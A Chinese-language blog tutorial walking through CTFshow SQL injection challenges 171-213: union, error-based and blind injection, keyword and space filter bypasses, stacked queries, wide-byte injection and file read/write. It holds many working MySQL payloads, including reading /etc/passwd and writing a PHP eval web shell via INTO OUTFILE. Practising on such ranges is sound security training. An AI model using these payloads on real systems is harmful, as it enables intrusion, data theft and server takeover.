ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

CTFshow SQL注入171-213全通关:从手工注入到过滤绕过实战指南

CTFshow SQL注入171-213全通关:从手工注入到过滤绕过实战指南 ctfshow 的 web 入门模块sqlmap 踩坑记录至少写满一个笔记本。但扛过 213 这道线之后再看新题目心态完全不一样了。所以这篇文章不只是讲 payload想把知识结构、判断思路、踩坑过程都理一遍。毕竟“会背几个注入语句”和“能独立打穿一道过滤题”之间差的是对整个攻击链路的理解。1. 这个系列到底在考什么题目编排背后的逻辑1.1 从171到213一条完整的SQL注入进阶路线ctfshow 把 SQL 注入单独拎出来做了几十道题编号 171-213 只是其中一段。这一段的特别之处在于它把所有人工过滤场景按难度梯度排列每几道题就引入一个新的过滤维度。你会看到同样是注入但题目从“无过滤直接联合查询”一路演变成“空格被删、逗号被删、注释符被删、关键字被替换”的对抗现场。这种编排本质上是一份精心设计的训练大纲而不是随机堆题目。前段题目171-180左右基本是联合查询、报错注入、布尔盲注、时间盲注的轮番上阵。这里的目的只有一个让你在没有任何过滤的情况下把手工注入的整个流程练出肌肉记忆。很多新手在这里容易掉以轻心觉得“不就是 union select 嘛”结果到后面被过滤题折磨得怀疑人生。我的经验是基础阶段每道题都要尝试不借助 sqlmap 手工完成并且把每一步的原理写清楚后面遇到过滤时才具备拆解的能力。中段题目180-200左右开始上过滤。常见套路是写一个黑名单把select、where、and、or、空格、注释符等直接替换成空字符串。这里的核心考点已经不是“会不会注入”而是“知不知道数据库在解析 SQL 时有哪些容错机制”。比如空格被过滤了你可以用/**/代替注释or和and被过滤了可以尝试用||和注意 MySQL 默认||就是 OR 的逻辑select被过滤了可以双写selselectect让过滤函数把中间的select删掉后拼出合法的语句。这些技巧听起来简单但实际组合起来非常考验思维灵活度。后段题目200-213则进入综合应用堆叠注入、宽字节注入、文件读写、预编译绕过、二次注入等脚本化攻击思路全面登场。这个阶段的题目适合静下心来做笔记和总结因为它们往往是 CTF 比赛中常见的注入场景而不是靶场里才有的理想化环境。1.2 为什么建议按顺序刷而不是挑题做有些朋友喜欢在网上搜题解然后照着 payload 过一遍就跳过。这是刷 CTF 最常见但也最无效的方式。SQL 注入 171-213 这套题的难度曲线是平滑上升的前一题的绕过方式往往是后一题的前置知识。比如 171-180 里对于information_schema.schemata的字段名的熟悉程度直接决定了你后面在过滤select的时候能不能快速写出双写版本。而且这套题对“注入思路”的考察远大于“背 payload”。每道题的环境其实都差不多唯一变化的是过滤规则。你只有亲手尝试感受到“为什么这里用#注释不行、但用%23就行”才能真正理解注释符和 URL 编码的关系。挑题做会打乱这种坡度让自己在某些知识点上留白。我建议的刷题节奏是每天 3-5 道每道题至少手工尝试 20 分钟实在卡住了再看题解看完题解之后不急着点“提交”先在自己本地搭一个 MySQL 环境复现一遍。这样一圈下来比单纯过一遍题目多花的时间成本换来的是后面遇到新题时的快速反应。2. 基础阶段的核心操作联合注入、报错注入与盲注2.1 联合注入和信息收集三板斧题目刚开始没过滤的时候最快的注入方式就是联合查询。流程很固定先判断列数再找显示位然后暴库名、表名、字段名。这三步熟练之后以后所有注入手段最终目的都一样——获取information_schema里的元数据。判断列数我用的是order by从 1 开始递增直到页面报错或返回异常?id1 order by 1 ?id1 order by 2 ?id1 order by 3 -- 假设这里报错说明只有2列得到列数后用union select找显示位?id-1 union select 1,2这里id-1是为了让联合查询的前半句不返回结果后面构造的查询语句才能回显。然后替换对应显示位上的数字依次拿到库名和版本?id-1 union select 1,database() ?id-1 union select 1,version()获取所有数据库名时用group_concat一次性拉出来比较高效?id-1 union select 1,group_concat(schema_name) from information_schema.schemata注意这里如果你只是在本地靶场 MySQL 里跑看到information_schema、mysql、performance_schema、sys这些库都是正常的。真正需要注意的是当前连接的库也就是database()返回的那个名字。拿到库名后继续拉表名?id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()然后拉字段名?id-1 union select 1,group_concat(column_name) from information_schema.columns where table_nameflag最后直接查数据?id-1 union select 1,flag from flag这一整套链路做熟了后面无论题目怎么改你需要回答自己的问题是“我绕过滤的目的还是为了执行类似select flag from flag这条语句。” 所以打基础的时候别嫌麻烦多练习手工拼这条路。2.2 报错注入三种常用函数要烂熟于心有些题目页面上不显示查询结果返回的只有报错信息这时候联合查询失效报错注入就有了用武之地。报错注入的本质是构造一个会让 MySQL 报错的表达式并把查询结果拼进报错信息里。最常用的是updatexml?id1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)concat(0x7e,...)里的0x7e是波浪号~加上它是为了让报错信息里出现一个不常见的字符方便我们直接 grep 出结果。updatexml的第二个参数要求是 XPath 字符串传一个非法路径就会报错报错内容里会包含我们的查询结果。当数据库名太长的时候报错信息只会截取一部分所以常用substr配合多行提交?id1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,20),0x7e),1)extractvalue原理类似参数顺序稍有不同?id1 and extractvalue(1,concat(0x7e,(select database()),0x7e))此外还有一种基于主键冲突的报错注入利用floor(rand(0)*2)配合group by产生重复主键让 MySQL 把查询结果带进报错信息?id1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)y)这种写法看着长但它在某些过滤了updatexml和extractvalue函数的环境里可能是唯一的报错途径。2.3 布尔盲注和时间盲注的脚本思维当页面没有回显、也没有报错信息只能通过页面内容是否变化来判断条件真伪时就进入盲注环节。布尔盲注的核心是不断向数据库发问这个字符的第一位是不是 a虽然效率低但思路非常直接。最经典的判断流程是这样的?id1 and length(database())5 ?id1 and ascii(substr(database(),1,1))100第一位 ASCII 值逐位猜得到结果之后继续下一位。手工做这个非常痛苦强烈推荐写脚本。Python 配合requests库通过响应内容的差异返回真假二分法能把请求数从几百次压到几十次。判断条件改成还是取决于你习惯的二分逻辑没有对错关键是每次比较得到的页面状态必须一致否则后面的结果都是错的。时间盲注在布尔盲注的基础上多了一个维度用if()函数和sleep()制造可观察的时间差?id1 and if(ascii(substr(database(),1,1))100,sleep(3),0)这里sleep(3)的时长和网络延迟必须拉开差距。如果靶场本身响应很慢可以适当加大sleep。还要注意题目里如果过滤了and可以换or或者用、||的变体。3. 过滤绕过的道与术最磨人也最涨经验的部分3.1 空格被过滤逻辑与容错机制的组合空格被过滤不是简单的“去掉空格”而是利用 MySQL 解析器的宽容性。常见的替代品有/**/注释符、%0a换行符、%0b垂直制表符、%0c换页符甚至括号也可以在某些场景代替空格。比如经典语句select * from users where id 1空格被过滤后可以写成select/**/*/**/from/**/users/**/where/**/id/**//**/1这里/**/在 MySQL 里会被解析成空格。但要注意这种写法在某些过滤配置下也会被拦截因为过滤规则可能直接把/**/也列入黑名单。这时候可以尝试换行符select%0a*%0afrom%0ausers%0awhere%0aid%0a%0a1实际用手工注入时如果id1后面的空格被过滤也可以考虑用括号包裹表达式比如id(1)或者id(select 1)括号不只是函数专用的它是 MySQL 语法层面的合法字符过滤规则往往不会移除括号。3.2 等号、逗号、注释符被过滤后的操作等号被过滤最直接的做法是用likeselect * from users where username like admin如果用like也被拦截可以试试inselect * from users where username in (admin)还有regexp正则匹配方式select * from users where username regexp ^admin$如果你需要写id1但不能用还可以用或者!来表达不等关系从而把条件反转。例如你需要查id1的用户但过滤了等号可以写成select * from users where not id 1逗号被过滤的场景很常见因为函数参数列表通常依赖逗号分隔。比如substr(string,1,1)这个用法就会受限制。替代方案是substr的另一种语法substr(string from 1 for 1)select substr(database() from 1 for 1)limit里的逗号也可以用limit 1 offset 0代替select * from users limit 1 offset 0group_concat的默认分隔符是逗号如果逗号被过滤影响的是结果展示而不是查询本身可以改用hex()编码后再解码或者直接用concat()拼接。注释符被过滤是个头疼的问题。经典注释符--和#被过滤后闭合引号之后没法“截断”后面的内容。解决思路至少有三种利用or 11形式的永真条件闭合不依赖注释符id1 or 11利用单引号成对匹配的思路把后面的内容变成字符串内容的一部分。有些靶场过滤规则只针对#和--但对/* */不敏感可以尝试用内联注释/*!50000select*/MySQL 特殊支持这种语法即使版本不是 50000 也能执行。3.3 关键字被过滤双写、大小写与同义函数替代黑名单中最常见的操作是替换关键字为空字符串隔一个字符插入一次关键字就能恢复原状。比如select被删掉之后原输入selselectect 过滤删掉中间的 select变成select这就是“双写绕过”的基本思路。union被过滤时写ununionionorder被过滤时写oorrder注意双写的位置要保证删掉一次后刚好拼回关键字。实际调试时还要考虑一次过滤是只删一次还是循环删除如果循环删除得更多次可能需要更大的双写量。大小写混淆在权限不敏感的老版本 MySQL 里有效SeLeCt、uNiOn这类形式可以用来绕过只做精确匹配的过滤。但现在的靶场基本都做了strtolower或者直接正则忽略大小写所以不能依赖这一招。同义函数替代是更高级的思路。比如sleep()被过滤可以用benchmark()select if(11,benchmark(10000000,sha1(test)),0)benchmark会重复执行表达式多次通过 CPU 耗时产生延迟。ascii()被过滤可以用ord()替代。substr()被过滤可以用mid()或left()/right()拼接。database()被过滤可以尝试schema()。总之熟悉 MySQL 内置函数的能力边界是过滤题的关键竞争力。4. 进阶场景堆叠注入、宽字节与文件读写4.1 堆叠注入的思路与场景判断堆叠注入指的是在同一连接中通过分号分隔执行多条 SQL 语句。常规注入里select语句只能查但堆叠注入可以让你执行show、set、甚至在某些权限条件下执行load_file或写文件操作。判断场景的方法是在参数后直接试加一个分号看是否报错。比如?id1;show tables;--如果查询语法不报错且返回了表列表说明后端使用支持多语句执行的数据库接口。ctfshow 中有些题目专门考这一点因为堆叠注入能绕过一些只拦截首条select的黑名单。有了堆叠注入后show关键字在 MySQL 里很好用可以快速查看库、表、字段?id1;show databases;-- ?id1;show tables;-- ?id1;show columns from flag;--如果show被过滤可以考虑用prepare预编译语句来拼接并执行任意 SQL?id1;set sqlconcat(sel,ect flag from flag);prepare stmt from sql;execute stmt;--注意set、prepare、execute这些关键字如果也在黑名单里就需要结合双写或编码绕过。预编译的思路本质上是把字符串拆开骗过黑名单的字符串匹配再交给 MySQL 在预处理阶段动态解析。4.2 宽字节注入的本质字符集吃掉转义符宽字节注入最常见于使用了 GBK 编码的 PHP 网站。如果后端对用户输入做了转义在单引号前加上反斜杠\正常情况下这条语句不会逃逸出字符串。但在 GBK 编码下\的字节是0x5c如果前面再加上一个字节如%df两个字节组合起来会被 MySQL 解析成一个合法的宽字符那个反斜杠就不作为转义符存在了。简单说你输入id1%df经过宽字节拼接后数据库看到的是类似1運的内容单引号被释放出来闭合了前面的字符串。这就是为什么过滤普通单引号后宽字节注入仍然能突破。ctfshow 里如果碰到题目提示使用 GBK 或者页面乱码大概率是在考这个点。处理方式就是构造%df之类的输入配合union select或者报错注入函数完成后续查询。但要注意这种绕过只对特定的编码组合有效如果数据库连接设置成了utf8宽字节注入就不成立。4.3 文件读写相关的应用到了一定难度题目开始让你通过注入去读写文件。load_file()函数能读取服务器上的文本文件前提是当前用户有FILE权限并且secure_file_priv没有限制。读取文件时注意路径要写完整比如?id1 union select 1,load_file(/etc/passwd)写文件则是利用into outfile把查询结果写入一个文件常用于写一句话木马。但 MySQL 的secure_file_priv一般都设了限制CTF 环境经常会把这个限制放宽以便出题?id1 union select 1,?php eval($_POST[cmd]);? into outfile /var/www/html/shell.php这个操作有个先决条件你知道网站的绝对路径而且目录有写权限。ctfshow 的题目通常会通过报错信息或提示提供路径线索所以读文件时一定要留意页面的完整返回内容有些隐蔽的信息就藏在字体颜色和外层 HTML 注释里。4.4 组合型 payload 构造案例举个组合型的例子。假设题目过滤了空格、注释符、select关键字。此时想查表名可以先尝试双写解决select用/**/替代空格?id-1 ununionion/**/selselectect/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schemadatabase()-- -如果where也被过滤就把条件换成having或者用join的写法但那个复杂度和实际场景强相关。组合型 payload 的调试本质上就是“逐个尝试被过滤的字符看看哪些还能用”所以第一步永远是确认后端到底过滤了什么而不是盲目套模板。5. 常见问题与排查技巧实录实战中的坑和心得5.1 常见报错的排查思路拿You have an error in your SQL syntax这类报错来说它意味着 SQL 没有通过语法解析这时候优先检查三件事注释符是否被吞了、引号是否闭合、关键字是否被过滤。CTF 场景里最常见的翻车点就是过滤函数会把#直接替换成空导致#变成单独的引号从而语法错乱。如果页面返回空白或者 500但 HTTP 状态码是 200大概率是 SQL 执行出错被 PHPdie()吞掉了也可能是页面把报错输出写在 HTML 注释里。建议直接用浏览器的“查看源代码”功能而不是开发者工具的 Network 标签很多隐蔽的报错信息就这么找出来的。如果注入语句在本地 MySQL 里能跑通但到题目环境里就是不生效要考虑字符集和编码转换的问题。URL 里的%23、%0a这些东西传参时后端代码如果做了urldecode传两次就可能导致编码变化。遇到这种情况用 Burp Suite 或者 Pythonrequests手动构造原始字节别让浏览器帮你编码。5.2 手注还是脚本什么时候该自动化无论层的过滤对sqlmap来说是非常致命的。sqlmap 的优势在于大量注入技术的自动检测但它的请求模式比较固定碰到 WAF 式过滤就会直接放弃或者误报。所以我习惯是前几道题一定手注把每种绕过方式的原理吃透到后面堆叠、文件读写这类场景手注效率实在太低可以先手注一个小目标比如确认注入点类型再用sqlmap辅助跑数据。tamper脚本里常用的space2comment、between、versionedmorekeywords可以对应上我们手动绕过的方法但“为什么需要用某个 tamper”这个问题只有手注过的人才会有体感没有这个过程的人只会盲目套用。手写脚本的话优先学习requests 二分法。盲注脚本的核心是把“页面是否包含某个标志”抽象成一个布尔函数然后二分法猜字符。实际操作中需要注意每次请求的 Session 保持一致有的靶场会因为 Cookie 过期导致误判。建议脚本里加一个每次请求的延迟避免请求过快被封 IP。5.3 整理笔记的正确姿势刷完 171-213 这套题之后我强烈建议做一份自己的导航笔记而不是依赖网上的题解。笔记里记录每个题目的过滤规则、注入类型、使用的 payload、以及自己卡住的点。格式不用统一但要保证过一个月之后能看懂。我自己的笔记模板大致是题号171类型联合注入过滤无payload?id-1 union select 1,database()卡点第一次没注意显示位用order by判断列数时把order写错。总结联合查询前要确认列数显示位用数字标识后替换。这套模板在后面对比“什么时候该用报错注入、什么时候该用盲注”时特别有用。因为你会发现同样是过滤不同的过滤组合导向的最优注入方式可能完全不同。5.4 迁移到其他靶场的融会贯通ctfshow 刷完之后建议去 pikachu 和 dvwa 的 SQL 注入模块巩固一下。pikachu 里面有专门的搜索型注入、DELETE 注入、HTTP Header 注入等场景这些在 ctfshow 里虽然有类似题目但环境交互方式和返回内容不同可以逼你把 payload 修改得更灵活。dvwa 的 low 级别虽然简单但 medium 和高难度的过滤方式mysqli_real_escape_string、参数化查询能帮你理解真实开发中防御方的思路。有一个经验是在多个靶场里重复做相同的注入流程才能真正把“注入点类型判断”和“payload 构造”变成条件反射。我自己换到 pikachu 的时候第一次遇到 POST 型注入反而愣了一下因为 ctfshow 大部分题目是 GET。这种体验只有多换环境才能积累。SQL 注入的学习本质是一场“踩坑越多、涨经验越快”的过程。如果你也正在刷这个系列遇到某道题卡了一整天那太正常了我也曾在 173 和 191 各卡过很久。放平心态把报错信息、过滤规则、手注或脚本的结果都记录下来第二天再看往往能发现之前漏掉的细节。千万别因为卡题就去背题解那样损失的是真正理解 SQL 注入的机会。最后分享一个小技巧每次做过滤题先在本地准备一个 PHP MySQL 的环境就七行代码——接收id参数、拼接进 SQL、把结果echo出来。所有在靶场里试过一遍的过滤绕过都在本地复现一次观察真实的 SQL 执行过程和报错信息。这个“自己搭环境验证 payload”的习惯比刷一百道题的总结都更管用。
返回列表